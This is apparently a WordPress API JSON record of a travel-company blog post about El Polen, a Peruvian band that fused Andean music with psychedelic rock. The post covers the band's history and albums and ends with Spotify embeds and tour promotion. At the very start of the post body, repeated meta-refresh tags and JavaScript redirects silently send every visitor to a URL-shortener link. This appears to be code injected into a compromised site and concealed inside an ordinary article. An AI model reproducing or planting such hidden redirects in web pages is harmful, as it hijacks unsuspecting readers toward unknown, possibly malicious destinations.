{"id":18076,"date":"2025-09-01T15:58:02","date_gmt":"2025-09-01T20:58:02","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=18076"},"modified":"2025-09-01T15:58:04","modified_gmt":"2025-09-01T20:58:04","slug":"el-polen-the-peruvian-band-that-blended-andes-and-rock","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/el-polen-the-peruvian-band-that-blended-andes-and-rock\/","title":{"rendered":"El Polen: The Peruvian Band That Blended Andes and Rock"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>When people talk about legendary Peruvian music, names like <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chabuca-granda-a-voice-that-still-echoes\/\"><strong>Chabuca Granda<\/strong><\/a>, Susana Baca, or even Traffic Sound often come up.&nbsp;<\/p>\n\n\n\n<p>But hidden in the heart of Lima\u2019s late-60s rock explosion was a band that dared to do something completely different. Their name? <strong>El Polen<\/strong>.<\/p>\n\n\n\n<p>Instead of copying the Beatles or the Rolling Stones like most garage bands at the time, they decided to look inward:&nbsp;<\/p>\n\n\n\n<p>To the Andes, to the valleys, to the traditional sounds of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-music-and-dance-what-you-need-to-know\/\"><strong>Peruvian music<\/strong><\/a>, and mix that with the spirit of psychedelic rock. The result was a sound unlike anything anyone had heard before.<\/p>\n\n\n\n<p>However,&nbsp; El Polen was more than a cool experiment. Their music was deeply tied to Peru\u2019s identity struggles, the political climate of the 1970s, and the search for authenticity in a rapidly globalizing world.&nbsp;<\/p>\n\n\n\n<p>They didn\u2019t just play music; they created an imaginary Peru where tradition and modernity could dance together. Let\u2019s dive into their story.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Brothers With a Crazy Idea<\/strong><\/h2>\n\n\n\n<p>The adventure began in 1969 with two brothers from Lima: Juan Luis and Ra\u00fal Pereira. Both were already part of the city\u2019s buzzing rock scene, having played in bands like Los Shain\u2019s and Los Drags, who jammed to the sounds of Elvis, the Beach Boys, and the Beatles.&nbsp;<\/p>\n\n\n\n<p>Nonetheless,&nbsp; after a while, the imitation game felt empty. Why keep copying English rock when Peru had its own treasure trove of<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-musical-instruments-a-melody-of-ancient-culture\/\"><strong> melodies, instruments<\/strong><\/a>, and rhythms?<\/p>\n\n\n\n<p>So they grabbed their guitars but also picked up traditional Andean instruments: the quena (flute), zampo\u00f1a (panpipes), charango, and hand drums.&nbsp;<\/p>\n\n\n\n<p>Suddenly, their rehearsals sounded less like the London underground and more like a mystical trip through the Sacred Valley.<\/p>\n\n\n\n<p>And so, <strong>El Polen<\/strong> was born. The name itself hinted at something organic and natural\u2014like pollen floating freely in the air, spreading life and ideas. It was the perfect symbol for a band that wanted music to connect worlds.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"604\" height=\"555\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-6.webp?resize=604%2C555&#038;ssl=1\" alt=\"An ancient picture from el Polen\" class=\"wp-image-18080\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-6.webp?w=604&amp;ssl=1 604w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-6.webp?resize=300%2C276&amp;ssl=1 300w\" sizes=\"auto, (max-width: 604px) 100vw, 604px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>The Cultural Climate: Why the Andes?<\/strong><\/h2>\n\n\n\n<p>El Polen didn\u2019t emerge in a vacuum. The Peru of the early 70s was going through massive changes. General Juan Velasco Alvarado\u2019s military government (1968\u201375) pushed nationalist and indigenist policies, promoting the idea that Indigenous traditions should be central to Peru\u2019s identity.<\/p>\n\n\n\n<p>&nbsp;At the same time, hippie counterculture\u2014with its love of community living, spirituality, and psychedelics\u2014was reaching Lima.<\/p>\n\n\n\n<p>For the Pereiras, the Andes weren\u2019t just exotic inspiration. They became the perfect meeting point of politics, identity, and experimentation. As the thesis on El Polen argues, the band\u2019s sound grew from three main forces:<\/p>\n\n\n\n<p><strong>Indigenism under Velasco<\/strong> celebrated Indigenous culture but often in a paternalistic, idealized way.<\/p>\n\n\n\n<p><strong>A new vision of Andean music<\/strong> \u2013 shifting from \u201cIncaic\u201d relics to a triumphant \u201cAndean\u201d identity, as celebrated by writers like Jos\u00e9 Mar\u00eda Arguedas.<\/p>\n\n\n\n<p><strong>Hippie counterculture<\/strong> \u2013 communal living, spiritual quests, and plenty of psychedelics, which fueled musical experimentation. In other words, El Polen wasn\u2019t just blending sounds. They were blending worldviews.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"614\" height=\"543\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-7.webp?resize=614%2C543&#038;ssl=1\" alt=\"Ancient picture from El Polen rehearsaling for their concert\" class=\"wp-image-18081\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-7.webp?w=614&amp;ssl=1 614w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/unnamed-7.webp?resize=300%2C265&amp;ssl=1 300w\" sizes=\"auto, (max-width: 614px) 100vw, 614px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>Their Big Break: A Movie Soundtrack<\/strong><\/h2>\n\n\n\n<p>El Polen\u2019s first big step didn\u2019t come from a concert hall or a record label\u2014it came from the movies. In 1972, filmmaker Bernardo Batievsky was working on <em>Cholo<\/em>, a film about Peruvian football hero Hugo Sotil, and he needed a soundtrack.<\/p>\n\n\n\n<p>&nbsp;Who better than this young band experimenting with folk, rock, and psychedelia? The result was the album <em>Cholo (M\u00fasica Original de la Banda de Sonido)<\/em>. And wow, what an introduction.&nbsp;<\/p>\n\n\n\n<p>Tracks like \u201cValicha\u201d (an Andean classic reimagined) and \u201cPaisajes de Quenas\u201d combined dreamy guitars with haunting flutes. It was psychedelic, but at the same time deeply Peruvian.<\/p>\n\n\n\n<p>\u201cValicha\u201d even became a radio hit in Lima. Imagine that: a traditional Andean tune, reborn through a hippie rock band, blasting from speakers in the capital. El Polen had struck a chord<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Going to the Mountains: <\/strong><strong><em>Fuera de la Ciudad<\/em><\/strong><\/h2>\n\n\n\n<p>After the success of <em>Cholo<\/em>, the band did something radical. Instead of chasing fame in Lima, they packed their bags and moved to Cusco, living communally in the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/urubamba-travel-guide-what-to-do-in-the-sacred-valleys-gem\/\"><strong> Urubamba or Sacred Valley.<\/strong><\/a><\/p>\n\n\n\n<p>This wasn\u2019t just about scenery. It was about soaking up the atmosphere, learning from local musicians, and breathing the Andean world into their art. Out of this experience came their second album, <em>Fuera de la Ciudad<\/em> (1973).<\/p>\n\n\n\n<p>If <em>Cholo<\/em> was their introduction, <em>Fuera de la Ciudad<\/em> was their masterpiece. Almost entirely acoustic, the record feels like a meditation on the Andes.&nbsp;<\/p>\n\n\n\n<p>The standout track, <strong>\u201cA las orillas del Vilcanota\u201d<\/strong>, is basically a love letter to the sacred river that flows through Cusco. Listening to it feels like standing at sunrise in the mountains.<\/p>\n\n\n\n<p>Gone were the heavy drums or flashy distortion of rock. Instead, flutes, strings, and gentle rhythms created a peaceful groove. El Polen had redefined what \u201crock\u201d could mean.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maxresdefault-19.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Cover from El Cholo motion movie soundtrack\" class=\"wp-image-18082\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maxresdefault-19.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maxresdefault-19.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maxresdefault-19.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/maxresdefault-19.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>&#8220;El cholo&#8221; motion movie soundtrack<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What Made Their Sound Unique<\/strong><\/h2>\n\n\n\n<p>So, what exactly was El Polen doing that was so revolutionary?<\/p>\n\n\n\n<p><strong>Instruments<\/strong> \u2013 They replaced the dominance of electric guitars with <strong>Andean instruments<\/strong> like quenas, zampo\u00f1as, charangos, and mandolins.<\/p>\n\n\n\n<p><strong>Song structure<\/strong> \u2013 Instead of verse-chorus-verse formulas, their songs flowed like rivers, repeating and evolving in circular patterns, much like traditional Andean music.<\/p>\n\n\n\n<p><strong>Atmosphere<\/strong> \u2013 Their music felt communal, ritual-like, as if you were gathered around a fire at a mountain festival.<\/p>\n\n\n\n<p><strong>Philosophy<\/strong> \u2013 They weren\u2019t trying to \u201cmodernize\u201d folklore or \u201cPeruvianize\u201d rock. They were merging two worlds naturally, creating a new identity that was both local and universal.<\/p>\n\n\n\n<p>No wonder historians call them <strong>fathers of Andean rock <\/strong>\u2014a genre where Peru\u2019s roots and rock\u2019s energy finally walked hand in hand.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Spiritual Rebels<\/strong><\/h2>\n\n\n\n<p>El Polen wasn\u2019t just making catchy tunes. They were also tapping into the spiritual and philosophical. Their lyrics and performances evoked Andean cosmology, mysticism, and the hippie dream of harmony with the Earth.<\/p>\n\n\n\n<p>While Western psychedelic rock often leaned toward escapism, El Polen\u2019s approach was more grounded. They weren\u2019t running from reality; they were re-enchanting it with ancestral wisdom.<\/p>\n\n\n\n<p>In addition, their concerts often felt like rituals, with incense, lights, and a communal vibe. Music wasn\u2019t just entertainment\u2014it was a form of collective healing.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Juan Luis Perreyra playing with el Polen, his playing a guitar\" class=\"wp-image-18084\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen-2014-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<h2 class=\"wp-block-heading\"><strong>The Scene, the Silence, and the Comeback<\/strong><\/h2>\n\n\n\n<p>The early 70s in Peru were a golden moment for rock. Bands like Traffic Sound, Black Sugar, and We All Together were rocking the clubs. But by the mid-70s, things got tough.<\/p>\n\n\n\n<p>Political shifts, censorship, and changing tastes hit the scene hard. Rock was increasingly seen as subversive, and experimental bands like El Polen had little commercial backing.<\/p>\n\n\n\n<p>Later, by the late 70s, they went quiet. But their music never disappeared. Vinyl collectors hunted for <em>Cholo<\/em> and <em>Fuera de la Ciudad<\/em>, which became cult classics.<\/p>\n\n\n\n<p>In the 1990s, during a revival of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-rock-music-a-journey-through-time\/\"><strong>Peruvian rock<\/strong><\/a>, El Polen resurfaced with <em>Signos e Instrumentos<\/em> (1998)\u2014a mix of old spirit and new energy.&nbsp;<\/p>\n\n\n\n<p>Later, Buh Records reissued their classics, introducing younger generations to their magic. By the 2010s, El Polen was even performing anniversary concerts, proving their sound had stood the test of time.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>El Polen is still relevant<\/strong><\/h2>\n\n\n\n<p>So why should anyone today care about a band from the 70s that only made a handful of albums? Here\u2019s why:<\/p>\n\n\n\n<p><strong>They broke the mold<\/strong> \u2013 While most Latin American rock bands copied Anglo styles, El Polen turned inward, showing that Peru\u2019s traditions could lead to innovation.<\/p>\n\n\n\n<p><strong>El Polen gave Peru a rock identity<\/strong> \u2013 Their music sounded unmistakably Peruvian: mountains, rivers, fiestas, and myths wrapped in song.<\/p>\n\n\n\n<p><strong>They influenced a movement<\/strong> \u2013 Many later bands experimenting with fusion and <em>rock andino<\/em> owe a huge debt to El Polen.<\/p>\n\n\n\n<p><strong>And, they still sound fresh<\/strong> \u2013 Listen to <em>Fuera de la Ciudad<\/em> today, and it feels timeless, like it could sit comfortably next to modern indie-folk or world music.<\/p>\n\n\n\n<p>In short, El Polen didn\u2019t just play songs. They <strong>planted seeds<\/strong>\u2014and those seeds grew into a new way of making music in Peru.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Where to Start Listening<\/strong><\/h2>\n\n\n\n<p>If you\u2019re new to El Polen, here\u2019s your starter pack:<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>\u201cValicha\u201d (1972)<\/strong> \u2013 A joyful Andean classic with a psychedelic twist.<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-spotify wp-block-embed-spotify wp-embed-aspect-21-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Spotify Embed: Valicha\" style=\"border-radius: 12px\" width=\"100%\" height=\"152\" frameborder=\"0\" allowfullscreen allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\" loading=\"lazy\" src=\"https:\/\/open.spotify.com\/embed\/track\/5TXrM5JarTU3zNDNeb2mLp?si=37e45aca5c534a7c&#038;utm_source=oembed\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>\u201cPaisajes de Quenas\u201d (1972)<\/strong> \u2013 Dreamy flutes and guitars swirling together.<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-spotify wp-block-embed-spotify wp-embed-aspect-21-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Spotify Embed: Paisajes de Quenas\" style=\"border-radius: 12px\" width=\"100%\" height=\"152\" frameborder=\"0\" allowfullscreen allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\" loading=\"lazy\" src=\"https:\/\/open.spotify.com\/embed\/track\/5UPHkfNyNqZ78A7VwNweYF?si=8de6c47f204f4571&#038;utm_source=oembed\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>\u201cA las orillas del Vilcanota\u201d (1973)<\/strong> \u2013 A spiritual trip to the Sacred Valley.<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-spotify wp-block-embed-spotify wp-embed-aspect-21-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Spotify Embed: A las Orillas del Vilcanota\" style=\"border-radius: 12px\" width=\"100%\" height=\"152\" frameborder=\"0\" allowfullscreen allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\" loading=\"lazy\" src=\"https:\/\/open.spotify.com\/embed\/track\/79J8HV4ZMWKdud9FJ4pqLm?si=c56b8f6d4ce54873&#038;utm_source=oembed\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Albums<\/strong> \u2013 <em>Cholo<\/em> and <em>Fuera de la Ciudad<\/em> are both short but powerful. Best enjoyed in full, like a journey.<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-spotify wp-block-embed-spotify wp-embed-aspect-21-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Spotify Embed: Fuera de la Ciudad\" style=\"border-radius: 12px\" width=\"100%\" height=\"352\" frameborder=\"0\" allowfullscreen allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\" loading=\"lazy\" src=\"https:\/\/open.spotify.com\/embed\/album\/53uwOQHB2svYq0dq1PcbB8?si=eiBdoZDRQpGMmqgYz5z_7Q&#038;utm_source=oembed\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<figure class=\"wp-block-embed is-type-rich is-provider-spotify wp-block-embed-spotify wp-embed-aspect-21-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Spotify Embed: Cholo\" style=\"border-radius: 12px\" width=\"100%\" height=\"352\" frameborder=\"0\" allowfullscreen allow=\"autoplay; clipboard-write; encrypted-media; fullscreen; picture-in-picture\" loading=\"lazy\" src=\"https:\/\/open.spotify.com\/embed\/album\/5JFBptMXBEYLCqtu31OD05?si=4DJxfwGMRhOSPapO7P-99A&#038;utm_source=oembed\"><\/iframe>\n<\/div><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Tip:<\/strong> Look for the Buh Records reissues online\u2014they sound fantastic and are widely available on music streaming platforms.<\/p>\n\n\n\n<p>El Polen was never the loudest, most famous, or most commercial band in Peru. But sometimes legends aren\u2019t about selling millions of records\u2014they\u2019re about changing the game.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>By daring to fuse rock with Andean soul, El Polen showed that the future of music could come from looking inward, not outward. Their sound was mystical, organic, and proudly Peruvian.<\/p>\n\n\n\n<p>So, we encourage you to explore Peruvian music beyond the classics, take a detour, and let El Polen guide you.&nbsp;<\/p>\n\n\n\n<p>Their songs are more than just music\u2014they\u2019re a reminder that the Andes have always had something powerful to say, even through rock and roll.  Finally, to learn more about Peruvian culture, places, food, and more, stay tuned to our blog!<\/p>\n\n\n\n<p>Likewise, Viagens Machu Picchu invites you to discover our country with our proper assistance. So please, feel free to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us <\/a><\/strong>to learn more about us. The adventure in Peru awaits, don\u2019t be late!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El Polen, born in Lima\u2019s late-60s rock scene, blended psychedelic rock with Andean instruments and spirit. Their albums Cholo and Fuera de la Ciudad became cult classics, shaping rock andino, influencing generations, and proving Peru\u2019s traditions could drive innovation.<\/p>\n","protected":false},"author":1,"featured_media":18079,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1833,192,1519,1],"tags":[6114,1982,6113,6109,208,6107,6108,6115,6106,6112,4812,6116,6110,1658,6111],"class_list":["post-18076","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-documentary","category-experiences","category-peru","category-sem-categoria","tag-a-las-orillas-del-vilcanota","tag-andes","tag-buh-records","tag-cholo","tag-cusco","tag-el-polen","tag-fuera-de-la-ciudad","tag-juan-luis-pereira","tag-musica-peruana","tag-paisajes-de-quenas","tag-psychedelic-rock","tag-raul-pereira","tag-rock-andino","tag-sacred-valley","tag-valicha"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/08\/el-polen.jpg?fit=1800%2C1360&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-4Hy","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18076","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=18076"}],"version-history":[{"count":4,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18076\/revisions"}],"predecessor-version":[{"id":18102,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/18076\/revisions\/18102"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/18079"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=18076"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=18076"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=18076"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}